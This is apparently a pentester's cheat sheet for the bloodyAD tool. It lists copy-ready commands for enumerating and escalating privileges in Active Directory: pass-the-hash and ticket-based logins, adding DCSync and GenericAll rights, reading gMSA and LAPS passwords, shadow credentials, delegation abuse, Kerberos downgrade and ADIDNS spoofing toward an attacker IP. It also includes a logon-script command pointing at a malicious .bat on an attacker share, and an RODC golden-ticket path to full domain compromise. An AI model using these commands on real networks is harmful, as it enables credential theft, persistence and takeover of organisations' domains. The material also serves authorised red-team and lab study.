This tool can perform specific LDAP calls to a domain controller in order to perform AD privesc. bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc. Exchange of sensitive information without LDAPS is supported. It is also designed to be used transparently with a SOCKS proxy.
Contents
Installation and updates
Windows
Linux
Install with pipx:
1
| pipx install git+https://github.com/CravateRouge/bloodyAD
|
Update
Authentication
Username and Password
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' ...<SNIP>....
|
Pass-the-Hash
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p ':e656e07c56d831611b577b160b259ad2' ...<SNIP>....
|
Kerberos
Use the domain controller FQDN (for example, DC01.lab.local).
Using a Password
When you have the user’s password, -k makes bloodyAD request a TGT automatically:
1
| bloodyAD --host $FQDN -d $DOMAIN -u 'user' -p 'password' -k ...<SNIP>....
|
Using an NT Hash as an RC4 Key
To authenticate with Kerberos using an NT hash, Pass-the-Hash without the leading colon and explicitly select RC4:
1
| bloodyAD --host $FQDN -d $DOMAIN -u 'user' -p '<NTHASH>' -k -f rc4 ...<SNIP>....
|
Using an Existing TGT
If you already have a TGT, load its ccache into KRB5CCNAME and use Kerberos authentication with bloodyAD:
1
2
| export KRB5CCNAME=user.ccache
bloodyAD --host $FQDN -d $DOMAIN -k ...<SNIP>....
|
Enumeration
ACLs and Writable Access
To automate the enumeration process, you can use my tool DACLhound where you can see WriteProperty permissions that don’t show up in BloodHound
- Enumerate object attributes where we have WRITABLE access (very useful for checking permissions that don’t appear in BloodHound)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get writable --detail
|
- Get all
securityDescriptors of an object (very useful to manually enumerate the entire DACL list of an object searching for permissions that don’t appear in BloodHound)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr ntSecurityDescriptor --resolve-sd
|
Objects, Memberships, and Directory Structure
- Get all available information for a user
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'TARGET_USER'
|
- Get all critical information for a user
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'TARGET_USER' --attr name,distinguishedName,objectSid,description,memberOf,userAccountControl,adminCount
|
- Get a list of all members of a group
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'TARGET_GROUP' --attr member
|
- Get group membership for a user/group/computer
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get membership 'TARGET_OBJECT'
|
- Get a list of all users (only retrieves the distinguishedName)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get children --otype useronly
|
- Get a list of all groups (only retrieves the distinguishedName)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get children --otype group
|
- Get a list of all computers (only retrieves the distinguishedName)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get children --otype computer
|
- Get a list of all Organizational Units (OUs) (only retrieves the distinguishedName)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get children --otype container
|
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get children --otype trustedDomain
|
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap gpos
|
- Get a list of all accounts with an SPN (
servicePrincipalName) assigned {Kerberoastable users}
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountName | grep sAMAccountName | cut -d ' ' -f 2
|
- Get a list of all accounts with the
DONT_REQ_PREAUTH flag {AS-REP Roastable users}
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
|
Domain Policy and Configuration
- Get the total available
Machine Account Quota (MAQ) for all users
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota
|
- Get the total available
Machine Account Quota (MAQ) for the current user
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'CN=NTDS Quotas,DC=lab,DC=local' --attr msDS-QuotaEffective
|
- Get how many machines have already been created by the current user
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'CN=NTDS Quotas,DC=lab,DC=local' --attr msDS-QuotaUsed
|
- Get the AD Forest level
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr msDS-Behavior-Version
|
- Get the domain minimum password length
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr minPwdLength
|
- Get users that require Smart Card (
SMARTCARD_REQUIRED)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=262144)' --attr samAccountName
|
- Get users with
ENCRYPTED_TEXT_PWD_ALLOWED
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search --filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))' --attr samAccountName
|
- Enumerate users inside a specific OU
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search --base 'OU=TARGET_OU,DC=LAB,DC=LOCAL' --filter '(objectClass=user)' --attr dn,sAMAccountName
|
- Get domain password history length (
pwdHistoryLength)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr pwdHistoryLength
|
- Get BloodHound collector with transitive trusts
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get bloodhound --transitive
|
MSLDAP Shortcuts
These compact msldap commands help find common AD relationships and account conditions.
Delegation and Trusts
- Enumerate Unconstrained Delegation (
TRUSTED_FOR_DELEGATION):
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap unconstrained
|
- Enumerate Constrained Delegation (
msDS-AllowedToDelegateTo):
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap constrained
|
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap trusts
|
Roastable Accounts and Legacy Machines
- List Kerberoastable accounts (SPNs):
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap spns
|
- Find pre-Windows 2000 computer accounts:
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap pre2000
|
- Find AS-REP roastable accounts:
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap asrep
|
BadSuccessor Checks
- Check for potential BadSuccessor exposure:
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap badsuccessor_check
|
Account and Object Control
Groups, Membership, and Ownership
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add groupMember 'GROUP_NAME' 'MEMBER_TO_ADD'
|
- Add a cross-forest/cross-domain user to a group (Bidirectional Trust)
Note: Imagine a bidirectional trust where users from $DOMAIN can authenticate on moneycorp.corp. To add a user or group from $DOMAIN (for example, gzzcoo) to a group in moneycorp.corp, you must point bloodyAD to the target Domain Controller (DC2.moneycorp.corp) but authenticate with the source domain (-d $DOMAIN). Since objects from $DOMAIN don’t natively exist in the target domain’s LDAP directory, you must use their SID from the source domain ($DOMAIN). This SID can belong to any user or group in $DOMAIN that you want to add to the target group in moneycorp.corp.
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add groupMember 'CN=TARGET GROUP,CN=USERS,DC=LAB,DC=LOCAL' 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX'
|
- Remove a user from a group
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' delete groupMember 'GROUP_NAME' 'MEMBER_TO_DELETE'
|
- Make a user the owner of an object (Usually via the
WriteOwner ACL)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set owner 'TARGET_OBJECT' 'NEW_OWNER'
|
- Add
GenericAll (Full Control) permissions to an object
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add genericAll 'TARGET_OBJECT' 'TRUSTEE'
|
Account State and Domain Permissions
- Enable a disabled account
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' remove uac 'TARGET_USER' -f ACCOUNTDISABLE
|
- Add DCSync permissions to an object
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add DCSync 'TARGET_OBJECT'
|
Object Attributes and Identity Mapping
- Add a malicious script to a user that executes upon login (
scriptPath)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' scriptPath -v '\\<ATTACKER_IP>\malicious.bat'
|
- Modify the UPN (
userPrincipalName) for AD CS/UPN Spoofing attacks
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' userPrincipalName -v 'impersonateUser@lab.local'
|
- Modify a user’s
mail attribute
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' mail -v 'pwned@$DOMAIN'
|
- Assign a value to the
altSecurityIdentities attribute for X.509/ESC14b attacks
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' altSecurityIdentities -v 'X509:<I><....SNIP.....>'
|
Create and Move Accounts
- Create a new computer account
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add computer 'COMPUTER_NAME' 'COMPUTER_PASSWORD'
|
- Create a new computer account in a specific OU
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add computer 'COMPUTER_NAME' 'COMPUTER_PASSWORD' --ou OU=TARGET_OU,DC=LAB,DC=LOCAL'
|
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add user 'NEW_USER' 'NEW_PASSWORD'
|
- Create a new user in a specific OU
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add user 'NEW_USER' 'NEW_PASSWORD' --ou 'OU=TARGET_OU,DC=LAB,DC=LOCAL'
|
- Modify user
RDN to move between OUs (useful with CREATE_CHILD/DELETE_CHILD permissions on OUs)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' distinguishedName -v 'CN=TARGET_USER,OU=TARGET_OU,DC=LAB,DC=LOCAL'
|
- Enable
logonHours to allow login at any time
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' logonHours -v '////////////////////////////' --b64
|
dMSA and BadSuccessor
- Abuse
CREATE_CHILD on an OU in Windows Server 2025 - dMSA (BadSuccessor)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add badSuccessor 'attackerDMSA' -t 'CN=ADMINISTRATOR,CN=USERS,DC=LAB,DC=LOCAL' --ou 'OU=TARGET_OU,DC=LAB,DC=LOCAL'
|
Group Scope and Type
- Modify a group’s scope/type (Bypass direct scope change restrictions)
Note: Active Directory prevents direct conversion between certain scopes (e.g., from Global to Domain Local). To bypass this restriction, you must use a Universal group as an intermediate step.
Change to Security Universal Group (-2147483640):
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'CN=TARGET GROUP,CN=USERS,DC=LAB,DC=LOCAL' groupType -v -2147483640
|
Change to Domain Local Security Group (-2147483644):
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'CN=TARGET GROUP,CN=USERS,DC=LAB,DC=LOCAL' groupType -v -2147483644
|
RODC Golden Ticket
With administrative control over an RODC (Read-Only Domain Controller) computer object in Active Directory (e.g., GenericWrite, GenericAll, WriteDacl, WriteOwner), there is a path to fully compromise the domain. By modifying the RODC’s Password Replication Policy (PRP) via the msDS-RevealOnDemandGroup and msDS-NeverRevealGroup attributes, an attacker can allow a Domain Admin’s credentials to be cached on the RODC, log in to the RODC, and dump the credentials.
Allow a Principal to Replicate to the RODC
- Get original
msDS-RevealOnDemandGroup values of the RODC object
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'RODC01$' --attr msDS-RevealOnDemandGroup
|
- Add the target high-privileged user (e.g., Administrator) to the allowed replication group alongside the original values obtained previously
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=lab,DC=local' -v 'CN=Administrator,CN=Users,DC=lab,DC=local'
|
Review the Deny List
- Clear or modify the
msDS-NeverRevealGroup attribute to ensure the target admin is not prevented from replicating
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'RODC01$' msDS-NeverRevealGroup
|
Password and Managed Account Attacks
User Passwords
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set password 'TARGET_USER' 'NEW_PASSWORD'
|
gMSA and LAPS
- Add a principal to the list allowed to read a gMSA password (requires
WRITE_PROP on msDS-GroupMSAMembership)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add gmsaGroup 'targetgMSA$' 'NEW_MEMBER'
|
- Read a computer’s gMSA password
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'TARGET_gMSA' --attr msDS-ManagedPassword
|
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap gmsa
|
- Read a computer’s LAPS password
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap laps
|
- Read a target computer’s LAPS password:
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' msldap lapstarget 'TARGET_COMPUTER'
|
Kerberos and Delegation
AS-REP Roasting
- Enable
DONT_REQ_PREAUTH to make a user AS-REP Roastable
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add uac 'TARGET_USER' -f DONT_REQ_PREAUTH
|
Shadow Credentials
- Shadow Credentials Attack (requires PKINIT afterwards)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add shadowCredentials 'TARGET'
|
Delegation Flags and RBCD
- Add the
TRUSTED_FOR_DELEGATION flag - Unconstrained Delegation
It requires special permissions like SeEnableDelegationPrivilege
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add uac 'TARGET' -f TRUSTED_FOR_DELEGATION
|
- Add the
TRUSTED_TO_AUTH_FOR_DELEGATION/msDS-AllowedToDelegateTo flag - Constrained Delegation
It requires special permissions like SeEnableDelegationPrivilege
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add uac 'TARGET' -f TRUSTED_TO_AUTH_FOR_DELEGATION
|
- Add the Resource-based Constrained Delegation (RBCD)
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add rbcd 'DELEGATE_TO' 'DELEGATE_FROM'
|
Kerberoasting and SPNs
- Assign an SPN to a user to make them Kerberoastable
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET' servicePrincipalName -v 'cifs/target'
|
- Remove the previously added SPN
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET' servicePrincipalName
|
Encryption Types
- Downgrade Kerberos to RC4 (etype 23) when an SPN-enabled user returns an AES ticket (etype 18) and you can modify
msDS-SupportedEncryptionTypes. For example, through GenericWrite on the user or WriteProperty on that attribute.
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set object 'TARGET_USER' msDS-SupportedEncryptionTypes -v 4
|
DNS Attacks
Inspect DNS Rights and Records
Check whether the current account can write DNS records with get writable --detail before attempting a change.
Read DNS Records
- Query the system DNS records
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get dnsDump > dnsdump.txt
|
ADIDNS Spoofing
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get dnsDump | sed -n '/[^\n]*\*/,/^$/p'
|
- Create a new DNS record
* to perform ADIDNS Spoofing
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add dnsRecord '*' 'ATTACKER_IP'
|
Add a DNS Record
- Create a new DNS record to perform DNS Spoofing attacks
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' add dnsRecord 'DNS_RECORD_TARGET' 'ATTACKER_IP'
|
Restore Deleted AD Objects
Check Restore Rights
https://cravaterouge.com/articles/ad-bin/
- Check if we have permissions to restore deleted objects (can also be seen with
get writable --detail if we have ACLs over other users).
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ntsecuritydescriptor --resolve-sd | grep -B3 'Reanimate-Tombstones'
|
Search for Deleted Objects
- Check for deleted users in AD
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)' --attr name,objectSid,objectGuid,description
|
Restore an Object
- Restore a deleted user in AD [DN, sAMAccountName (or name for GPO) or SID of the target (avoid sAMAccountName if there is a duplicate)]
1
| bloodyAD --host $IP -d $DOMAIN -u 'user' -p 'password' set restore 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX'
|
References